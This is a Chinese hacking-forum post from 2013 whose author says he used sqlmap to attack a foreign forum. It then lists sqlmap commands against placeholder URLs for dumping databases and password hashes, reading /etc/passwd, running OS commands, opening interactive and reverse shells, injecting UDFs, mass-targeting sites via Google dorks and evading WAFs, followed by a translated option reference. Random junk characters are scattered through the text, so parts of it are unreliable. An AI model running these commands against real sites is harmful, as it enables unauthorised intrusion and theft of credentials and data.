找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2615|回复: 0
打印 上一主题 下一主题

sqlmap注入命令的使用方法

[复制链接]
跳转到指定楼层
楼主
发表于 2013-4-4 22:26:32 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
今天搞国外的一个论坛。发现萝卜和穿山甲都无法正常注入,实在没办法了 还是临时学习了下国外的神器sqlmap的使用方法,,直接做个记录、、. a4 ]2 R- d5 K% f/ ]" N* b
sqlmap -u “http://url/news?id=1″ –current-user #获取当前用户名称sqlmap -u “http://www.xxoo.com/news?id=1″ –current-db #获取当前数 据库名称
" {7 R  ^7 d( n9 t7 k' N0 |sqlmap -u “http://www.xxoo.com/news?id=1″ –tables -D “db_name”#列 表名9 R9 v2 R' Y$ w5 w. K
sqlmap -u “http://url/news?id=1″ –columns -T “tablename”users-D “db_name”-v 0 #列字段
  @, Z) ~6 \$ a+ Z$ j
* g# \: L( U5 y& _: psqlmap  -u  “http://url/news?id=1″  –dump  -C  “column_name”  -T “table_name”-D “db_name”-v: h4 P( d- G3 `  g5 s2 {* q+ e
0 #获取字段内容0 B6 a0 ~5 M5 U" k8 F) E
$ v6 J! \$ R7 B
******************信息获取******************
# e, o, i! ?$ @" C9 nsqlmap -u “http://url/news?id=1″ –dbms “Mysql” –users # dbms 指定数 据库类型
, s8 k0 Y# T: xsqlmap -u “http://url/news?id=1″ –users #列数据库用户5 I0 ~' `7 f* i; P5 U+ {- S4 Z
sqlmap -u “http://url/news?id=1″ –dbs#列数据库
% e/ B+ W( _+ T( _( n3 A4 msqlmap -u “http://url/news?id=1″ –passwords #数据库用户密码
7 o2 t, A2 R1 w0 {3 zsqlmap -u “http://url/news?id=1″ –passwords-U root -v 0 #列出指定用户 数据库密码
% l4 `: X1 ~& h# P! c8 {sqlmap  -u  “http://url/news?id=1″   –dump  -C  “password,user,id”  -T “tablename”-D “db_name”
( z# \5 v4 E8 q& e–start 1 –stop 20 #列出指定字段,列出20 条
- S) ]( U, q" u4 T/ I7 Ksqlmap -u “http://url/news?id=1″ –dump-all -v 0 #列出所有数据库所有表7 r( _/ n7 z: Y  C6 [" w
sqlmap -u “http://url/news?id=1″ –privileges #查看权限
: @. N; m' m) R+ S% a- o3 Hsqlmap -u “http://url/news?id=1″ –privileges -U root #查看指定用户权限sqlmap -u “http://url/news?id=1″ –is-dba -v 1 #是否是数据库管理员sqlmap -u “http://url/news?id=1″ –roles #枚举数据库用户角色1 w5 _( ?+ D5 n, a
sqlmap -u “http://url/news?id=1″ –udf-inject #导入用户自定义函数(获取 系统权限!)
8 d: L- J% W! r$ `- |9 O% a+ |sqlmap -u “http://url/news?id=1″ –dump-all –exclude-sysdbs -v 0 #列 出当前库所有表
3 q& P+ E4 m6 S2 s4 Esqlmap -u “http://url/news?id=1″ –union-cols #union 查询表记录
8 d; d& ~+ o7 v& q- Gsqlmap -u “http://url/news?id=1″ –cookie “COOKIE_VALUE”#cookie注入
8 b4 U) A8 v& D; H. Csqlmap -u “http://url/news?id=1″-b #获取banner信息
9 r. _" d# U6 v% Gsqlmap -u “http://url/news?id=1″ –data “id=3″#post注入) c/ ?8 [- t) J; s3 |1 L3 k
sqlmap -u “http://url/news?id=1″-v 1 -f #指纹判别数据库类型
5 D2 D# d' l* t3 tsqlmap -u “http://url/news?id=1″ –proxy“http://127.0.0.1:8118” #代理注 入) y$ S1 N2 N/ }4 A
sqlmap -u “http://url/news?id=1″–string”STRING_ON_TRUE_PAGE”# 指 定关键词
% j. a$ P$ N9 j6 {* wsqlmap -u “http://url/news?id=1″ –sql-shell #执行指定sql命令
- e; I1 @3 \; k3 f' }, A6 ?' ]; \sqlmap -u “http://url/news?id=1″ –file /etc/passwd  `$ W3 V" O+ w. D- B; a! Y
sqlmap -u “http://url/news?id=1″ –os-cmd=whoami #执行系统命令, b. \( G  g, E+ s' o4 g! ~
sqlmap -u “http://url/news?id=1″ –os-shell #系统交互shell sqlmap -u “http://url/news?id=1″ –os-pwn #反弹shell4 p; ?6 y+ d! G: z' g. f
sqlmap -u “http://url/news?id=1″ –reg-read #读取win系统注册表
0 j0 k! Q; X% f8 D" @/ P6 msqlmap -u “http://url/news?id=1″ –dbs-o “sqlmap.log”#保存进度: n( x1 R6 J! X, i
sqlmap -u “http://url/news?id=1″ –dbs -o “sqlmap.log” –resume #恢复 已保存进度
, P! y- O* J7 c- l& }# O$ M***********高级用法*************+ L( p4 n' h1 j
-p name 多个参数如index.php?n_id=1&name=2&data=2020 我们想指定name参数进行注入: |+ r9 E1 Y# R; R* k9 S: [
sqlmap -g “google语法” –dump-all –batch #google搜索注入点自动 跑出 所有字段          需保证google.com能正常访问
& b2 }5 R; F$ P0 `" R–technique   测试指定注入类型\使用的技术
4 u0 D3 y* b" ]# l6 r8 d% C/ `; `不加参数默认测试所有注入技术
3 I8 |$ I. t5 P! k: `•     B: 基于布尔的SQL 盲注( ^% J, n( h0 q1 z" }
•     E: 基于显错sql 注入
5 g2 [3 R, t, Z9 X•     U: 基于UNION 注入
: V; ]$ J5 I' f5 N•     S: 叠层sql 注入6 ]( T% T$ a) |  u: u6 r
•     T: 基于时间盲注
( z9 W1 r9 A8 \. n+ }  H8 T–tamper 通过编码绕过WEB 防火墙(WAF)Sqlmap 默认用char()4 J" a& G3 p0 C
–tamper 插件所在目录
: [( {8 [1 D/ P\sqlmap-dev\tamper% ^8 E3 N6 x6 |* G
sqlmap -u “http:// www.2cto.com /news?id=1″ –smart –level 3 –users # smart 智 能
! z2 f# b6 K  _! ]3 j- {1 s. Y5 olevel 执行测试等级 攻击实例:
9 z! F5 ~* q1 w7 e. \' D& ?Sqlmap -u “http://url/news?id=1&Submit=Submit”
3 d7 e/ v0 m/ M3 p# V–cookie=”PHPSESSID=41aa833e6d0d
  y( e% x2 v5 ?+ K) S  _28f489ff1ab5a7531406″ –string=”Surname” –dbms=mysql –user# V* ?" C& z/ }& R8 ]2 S6 I
–password
# V$ y4 E0 x' H: s- }7 ^参考文档:http://sqlmap.sourceforge.net/doc/README.html7 F/ @, a  ]$ u; y) I
***********安装最新版本*************
7 V! O- W, }% b2 k: hubuntu 通过apt-get install 安装的sqlmap版本为0.6 我们通过svn 来安装 为 最新1.0版
$ H4 n' V+ d" H' x7 L! `sudo   svn   checkout   https://svn.sqlmap.org/sqlmap/trunk/sqlmap sqlmap-dev
( ~/ h& c! ^. a; r7 _安装的位置为:/home/当前用户/sqlmap-dev/sqlmap.py 直接执行/home/当前用户/sqlmap-dev/sqlmap.py –version 这样很不方便 我们可以设置.bashrc 文件3 h2 L% ^) V6 V$ k8 W
sudo vim /home/当前用户/.bashrc8 ~+ E( p7 [0 S" T3 E' R' y0 T, r' D
#任意位置加上:# _$ J9 P# `4 I8 Z4 e5 E/ W; Z
alias sqlmap=’python /home/seclab/sqlmap-dev/sqlmap.py’ 该环境变量只对当前用户有效( P  C+ S# m* V4 c
如果想对所有用户有效 可设置全局 编辑下面的文件& y8 Y  i- M2 D& ~+ N5 Y
vim /etc/profile
1 \* D# X' H% c: o同样加上:
, N+ U: |0 @: v4 {- e& `7 Y/ salias sqlmap=’python /home/seclab/sqlmap-dev/sqlmap.py’ 重启生效
( n1 E0 l* V5 ?$ [: e0 b5 V: w( o******************windows 7 (x64) sqlmap install (SVN)************9 t1 v6 V$ z* M& n' h8 S$ y! m
http://www.python.org/getit/ 安装python4 A; X( ]8 J: `7 ]- I0 A, J+ d
http://www.sliksvn.com/en/download 安装windows svn client% ^/ G" x: W; |9 s' m, B. H! y
svn checkout https://svn.sqlmap.org/sqlmap/trunk/sqlmap sqlmap-dev
0 ?, J  d1 G. E1 O  q3 r安装sqlmap
9 g7 ?/ K: [/ W*修改环境变量0 E+ G0 e; S4 X1 r2 }  t5 O2 T
–version             显示程序的版本号并退出/ O  Y/ J+ o& k; y6 R8 |$ G
-h, –help            显示此帮助消息并退出
/ B  `- ?3 z! m! y, }  c-v VERBOSE            详细级别:0-6(默认为1)8 k) J9 A* a7 f4 v1 G' `
Target(目标): 以下至少需要设置其中一个选项,设置目标URL。
3 ?+ n5 b8 R0 M9 i0 C6 y6 P-d DIRECT           直接连接到数据库。
6 j0 E/ W2 w& l# C& Y7 r$ e& J-u URL, –url=URL   目标URL。: M; R! E' I* u  H
-l LIST             从Burp 或WebScarab 代理的日志中解析目标。: w$ [6 g( V' n1 x+ R- j; v0 h7 ~: A
-r REQUESTFILE      从一个文件中载入HTTP 请求。
4 t1 c3 _$ w" M% a- I4 e-g GOOGLEDORK       处理Google dork 的结果作为目标URL。
- A9 J7 `: f& }-c CONFIGFILE       从INI 配置文件中加载选项。
3 z# v" s+ @- oRequest(请求)::
. k5 i1 T7 P4 ~  g这些选项可以用来指定如何连接到目标URL。
, d. t1 ~. W* F  g8 K" k–data=DATA         通过POST 发送的数据字符串9 b* h' x& ~8 t" W
–cookie=COOKIE     HTTP Cookie 头
  C8 k: p2 E) A% O6 r# w7 D–cookie-urlencode  URL 编码生成的cookie 注入
. H" E1 ~. }# x  Y4 M0 u–drop-set-cookie   忽略响应的Set –Cookie 头信息! ?, ^4 A  S: N7 I; u

0 d, c& {! Q6 {( c# J6 ?2 j8 u–user-agent=AGENT  指定  HTTP User –Agent 头) A. Z0 t- A2 j/ N0 k, `
–random-agent      使用随机选定的HTTP User –Agent 头; `" ]1 R% c% B! C9 N# R; E
–referer=REFERER   指定  HTTP Referer 头* U  e6 u+ q- w4 Y
–headers=HEADERS   换行分开,加入其他的HTTP 头/ R7 E1 z- C- r/ L4 ]3 m
–auth-type=ATYPE   HTTP 身份验证类型(基本,摘要或NTLM)(Basic, Digest or NTLM): c# B0 w8 c$ w9 Y
–auth-cred=ACRED   HTTP 身份验证凭据(用户名:密码)
; K3 ]' A* b" M/ w4 s1 B9 l–auth-cert=ACERT   HTTP 认证证书(key_file,cert_file)
& b: l, D" R! k9 }  b- t–proxy=PROXY       使用HTTP 代理连接到目标URL( t4 o& r- O9 H
–proxy-cred=PCRED  HTTP 代理身份验证凭据(用户名:密码)
1 m$ y- K9 I) m7 D$ v7 _  T–ignore-proxy      忽略系统默认的HTTP 代理
2 m8 `9 h$ u  v* j–delay=DELAY       在每个HTTP 请求之间的延迟时间,单位为秒8 `( w5 N; ^$ H. f
–timeout=TIMEOUT   等待连接超时的时间(默认为30 秒)
" K* I) k5 B6 G* O& o–retries=RETRIES   连接超时后重新连接的时间(默认3)9 Y! O4 a) e3 J) w; W4 _: ^7 B
–scope=SCOPE       从所提供的代理日志中过滤器目标的正则表达式
0 T5 w# S& y& z% l$ S–safe-url=SAFURL   在测试过程中经常访问的url 地址
! W9 `9 R7 q; |+ @1 Z+ _* Z- R–safe-freq=SAFREQ  两次访问之间测试请求,给出安全的URL4 u3 {* g: h" {$ b1 Z! J5 i6 j- h/ d
Optimization(优化): 这些选项可用于优化SqlMap 的性能。
+ Y' X( c2 w/ U, Z  V-o                  开启所有优化开关
! x) G) }' M0 [! V, M–predict-output    预测常见的查询输出
5 L8 {# x2 z% S+ K( ]–keep-alive        使用持久的HTTP(S)连接
: M; U9 ]' z" T1 {* W–null-connection   从没有实际的HTTP 响应体中检索页面长度
6 ~9 }; z, x5 ]' b$ }3 n) L–threads=THREADS   最大的HTTP(S)请求并发量(默认为1)8 c; e; x1 K* i* M3 T( ~2 d7 h1 {1 G
Injection(注入):
1 i" T& l6 [8 O  T' K这些选项可以用来指定测试哪些参数,  提供自定义的注入payloads 和可选篡改脚本。$ M5 g6 {$ M' b* F
-p TESTPARAMETER    可测试的参数(S)% ?9 J7 I6 o; `+ C
–dbms=DBMS         强制后端的DBMS 为此值: o' o" e2 h* t6 ~4 `3 [
–os=OS             强制后端的DBMS 操作系统为这个值
, b! a9 s/ H3 {+ ]+ R# V–prefix=PREFIX     注入payload 字符串前缀
, g3 w( i0 V2 V/ m–suffix=SUFFIX     注入 payload 字符串后缀5 D6 ]: S) |0 h0 a& H
–tamper=TAMPER     使用给定的脚本(S)篡改注入数据2 x7 s; `. K2 G. J# W) m& L8 s
Detection(检测):4 `8 @0 T) s# v- i7 I
这些选项可以用来指定在SQL 盲注时如何解析和比较HTTP 响应页面的内容。' }, I/ y5 }+ T$ F& U
–level=LEVEL       执行测试的等级(1-5,默认为1)) @. d) B' Z. `+ V4 s% P( x
–risk=RISK         执行测试的风险(0-3,默认为1)
4 n9 |7 T- U6 q1 H; ~$ m–string=STRING     查询时有效时在页面匹配字符串
; P0 @# ]" Z! c: F5 q5 d–regexp=REGEXP     查询时有效时在页面匹配正则表达式! |' \; q1 f$ ^, i' [1 `
–text-only         仅基于在文本内容比较网页( D* @8 ~7 Z  ~( K
Techniques(技巧): 这些选项可用于调整具体的SQL 注入测试。" \+ `9 C' P3 B- a, y1 Z
–technique=TECH    SQL 注入技术测试(默认BEUST)& K4 Z9 }0 y1 N3 f
–time-sec=TIMESEC  DBMS 响应的延迟时间(默认为5 秒)
, O+ d% U( K$ T–union-cols=UCOLS  定列范围用于测试UNION 查询注入+ }3 Z/ @: y+ ?+ M) |# Z
–union-char=UCHAR  用于暴力猜解列数的字符
4 {  w2 `2 e2 {% S7 o  E9 E- g/ vFingerprint(指纹):
& H& d. C) w$ c-f, –fingerprint     执行检查广泛的DBMS 版本指纹4 s; I  r; y( L% [2 L
Enumeration(枚举):& d; k) ]% `( L9 M4 O- v
1 y' v* t1 \; t. R: i
这些选项可以用来列举后端数据库管理系统的信息、表中的结构和数据。此外,您还可以运行您自己 的SQL 语句。
; c1 D5 Q6 Q, t/ _" X/ ]( ^+ d-b, –banner        检索数据库管理系统的标识
9 J1 |9 a9 v/ @# T7 P2 |–current-user      检索数据库管理系统当前用户
- t/ [* Z9 i' B; Y" S$ t–current-db        检索数据库管理系统当前数据库
& f7 C% B( [0 p' `+ X: ~6 B# G( U6 R–is-dba            检测DBMS 当前用户是否DBA
- j3 y( ]2 N4 c3 w" R3 `–users             枚举数据库管理系统用户7 J5 z, }  _+ T  L4 `
–passwords         枚举数据库管理系统用户密码哈希3 b! _" P: q' }. T# D
–privileges        枚举数据库管理系统用户的权限5 g  @  q3 J# w- j4 {$ d9 q% C# q
–roles             枚举数据库管理系统用户的角色
" T& v& |# e. l8 P! U' M8 a! l* w–dbs               枚举数据库管理系统数据库+ h& t& T1 H+ r  O. a1 ^  y$ F
–tables            枚举的DBMS 数据库中的表2 ?# j6 R; h( {4 h  l. C
–columns           枚举DBMS 数据库表列9 j3 s, T5 w. o, X: h4 c# W
–dump              转储数据库管理系统的数据库中的表项9 ^0 d( v1 Q* l9 n$ y
–dump-all          转储所有的DBMS 数据库表中的条目
, P2 U0 J1 K' C4 @4 H: g–search            搜索列(S),表(S)和/或数据库名称(S)# v6 R" Z6 y( |3 C( g4 S
-D DB               要进行枚举的数据库名
+ L- M# H" L5 ]& q3 ]-T TBL              要进行枚举的数据库表
1 ^% {) _7 Y0 F) ?  R-C COL              要进行枚举的数据库列
- z& @/ w1 n1 o- B  r-U USER             用来进行枚举的数据库用户! F3 e, ~& o" P4 @" b
–exclude-sysdbs    枚举表时排除系统数据库6 d/ y9 }  j3 S" E  D$ n
–start=LIMITSTART  第一个查询输出进入检索
1 l  v9 |2 o  W; S$ a–stop=LIMITSTOP    最后查询的输出进入检索
$ H2 }; k" c% J: i- G–first=FIRSTCHAR   第一个查询输出字的字符检索
3 I+ o* I5 ]8 f7 e; w–last=LASTCHAR     最后查询的输出字字符检索* c3 g1 K9 s, e3 L' z, v+ L$ l
–sql-query=QUERY   要执行的SQL 语句$ a/ m/ b; H. X  Y3 T
–sql-shell         提示交互式SQL 的shell! d8 t6 w: @  o7 x( C
Brute force(蛮力): 这些选项可以被用来运行蛮力检查。
3 s, m6 ^0 D: v6 k  q7 e–common-tables     检查存在共同表/ f( _, F. B- ?+ k
–common-columns    检查存在共同列
! o& M$ o5 E2 P! a  gUser-defined function injection(用户自定义函数注入): 这些选项可以用来创建用户自定义函数。0 B5 L. j* e2 N9 Y9 Z
–udf-inject        注入用户自定义函数/ g2 C1 Z3 [; o
–shared-lib=SHLIB  共享库的本地路径; h& L( w( `' b3 r. G0 V& U, n
File system access(访问文件系统): 这些选项可以被用来访问后端数据库管理系统的底层文件系统。
! Y# s6 a# Q  V–file-read=RFILE   从后端的数据库管理系统文件系统读取文件
7 w+ A/ f- h) e4 R8 F–file-write=WFILE  编辑后端的数据库管理系统文件系统上的本地文件
* V+ X, X# V) \. D7 a& }* H% F–file-dest=DFILE   后端的数据库管理系统写入文件的绝对路径
! u4 m9 O' c5 w% JOperating system access(操作系统访问): 这些选项可以用于访问后端数据库管理系统的底层操作系统。( o0 y. K+ N/ c
–os-cmd=OSCMD      执行操作系统命令& o+ b7 t, k) e& V. w, t& i. U. M- l
–os-shell          交互式的操作系统的shell
. r0 ]/ w5 E0 ?/ ^* V–os-pwn            获取一个OOB shell,meterpreter 或VNC6 `* A& f9 R; |. m0 Z2 l
–os-smbrelay       一键获取一个OOB shell,meterpreter 或VNC
( v7 x6 Z9 {' g& t- B  g–os-bof            存储过程缓冲区溢出利用0 W. _3 }% k1 k0 O4 |1 q) R
–priv-esc          数据库进程用户权限提升
$ p2 N5 E8 n2 H–msf-path=MSFPATH  Metasploit Framework 本地的安装路径
3 ?7 ?3 L- D3 y6 F–tmp-path=TMPPATH  远程临时文件目录的绝对路径
" t3 |; b) ]$ o( F6 \& p( V* h8 R, h + Y9 Y' m% n) ?
Windows 注册表访问: 这些选项可以被用来访问后端数据库管理系统Windows 注册表。
, f3 I% |, K" |4 r4 B–reg-read          读一个Windows 注册表项值: B& {- t4 Z) k8 C
–reg-add           写一个Windows 注册表项值数据
; ]0 V6 M5 g' v6 f5 W) B6 Q–reg-del           删除Windows 注册表键值
  }' p/ R% i. w+ |% V& m+ g. S–reg-key=REGKEY    Windows 注册表键
8 U9 D; O7 A. ]' l8 A3 R0 \–reg-value=REGVAL  Windows 注册表项值
, W' `0 G, Q6 K% e0 S–reg-data=REGDATA  Windows 注册表键值数据
; [% J+ ~. o) V- G! T6 C–reg-type=REGTYPE  Windows 注册表项值类型
8 u, y  c6 H: D) |$ ]) L! nGeneral(一般): 这些选项可以用来设置一些一般的工作参数。
9 [; B% Q0 N1 x2 \-t TRAFFICFILE      记录所有HTTP 流量到一个文本文件中1 J, T/ I* g+ W+ B) m
-s SESSIONFILE      保存和恢复检索会话文件的所有数据
0 e0 N1 k! [- [4 R* _. ]" E–flush-session     刷新当前目标的会话文件
! ~4 s) _% I- g% Q1 k) H" h–fresh-queries     忽略在会话文件中存储的查询结果
. o3 b2 n6 x" ~–eta               显示每个输出的预计到达时间8 [/ q7 w9 G6 E" O/ L
–update            更新SqlMap% |7 O7 ?+ K+ F
–save              file 保存选项到INI 配置文件; }# |: ?& Y; _3 t2 l. L) P% ~
–batch             从不询问用户输入,使用所有默认配置。
( G* v0 E/ }4 w: H0 ^6 DMiscellaneous(杂项):
" {$ Y0 B4 m) E8 i/ f–beep              发现SQL 注入时提醒
, S+ b$ d/ O* \, R, U–check-payload     IDS 对注入payloads 的检测测试
! \  L7 x- E7 @7 B" D& ^+ t–cleanup           SqlMap 具体的UDF 和表清理DBMS
, w- \; G+ ~, f7 ^% e4 b) e6 f4 w7 Y–forms             对目标URL 的解析和测试形式: H% n2 j8 j. S
–gpage=GOOGLEPAGE  从指定的页码使用谷歌dork 结果
9 d/ E6 j) y9 A1 V–page-rank         Google dork 结果显示网页排名(PR)( L2 P# V1 q3 z2 w% N* B* H! R
–parse-errors      从响应页面解析数据库管理系统的错误消息
3 x! E- h3 u( x' u0 p–replicate         复制转储的数据到一个sqlite3 数据库$ A8 w9 E7 V2 B6 d5 E$ {
–tor               使用默认的Tor(Vidalia/ Privoxy/ Polipo)代理地址
- t+ y" T* d' l3 m! \' q. {) w–wizard            给初级用户的简单向导界面
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表